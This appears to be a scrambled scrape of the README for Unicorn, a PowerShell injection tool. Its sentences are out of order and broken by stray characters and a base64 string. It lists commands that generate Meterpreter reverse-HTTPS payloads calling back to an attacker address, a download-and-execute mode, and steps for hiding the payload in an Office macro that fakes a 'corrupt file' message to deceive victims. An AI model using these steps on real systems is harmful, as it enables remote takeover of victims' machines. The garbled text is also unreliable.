![]() REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme. If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of You should get a shell through powershell injection Victim to thinking the excel document is corrupted. THIS IS NORMAL BEHAVIOR! This is tricking the Is corrupt and automatically close the excel document. Note that a message will prompt to the user saying that the file Create a new macro, call it Auto_Open and paste the generated code ![]() MACRO ATTACK INSTRUCTIONS-įor the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Note that you will need to have a listener enabled in order to capture the attack. When using the download and exec, simply put python unicorn.py windows/download_exec url= and the powershell code will download the payload and execute. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. There are so many implications and scenarios to where you can use this attack at. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc. Note you will need a place that supports remote command injection of some sort. The text file contains all of the code needed in order to inject the powershell attack into memory. HTA Example Shellcode: python unicorn.py : shellcode htaĭDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ddeĬustom PS1 Example: python unicorn.py macro 500Ĭobalt Strike Example: python unicorn.py cs (export CS in C# format)Ĭustom Shellcode: python unicorn.py shellcode (formatted 0x00)Įverything is now generated in two files, powershell_attack.txt and unicorn.rc. HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta Macro Example Shellcode: python unicorn.py shellcode macro ![]() Macro Example CS: python unicorn.py cs macro Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro PS Down/Exec: python unicorn.py windows/download_exec url= PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 Usage: python unicorn.py payload reverse_ipaddr port ![]() Twitter: Matthew Graeber, Justin Elze, Chris Gates Written by: Dave Kennedy at TrustedSec () Native x86 powershell injection attacks on any Windows platform. AHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc= ![]()
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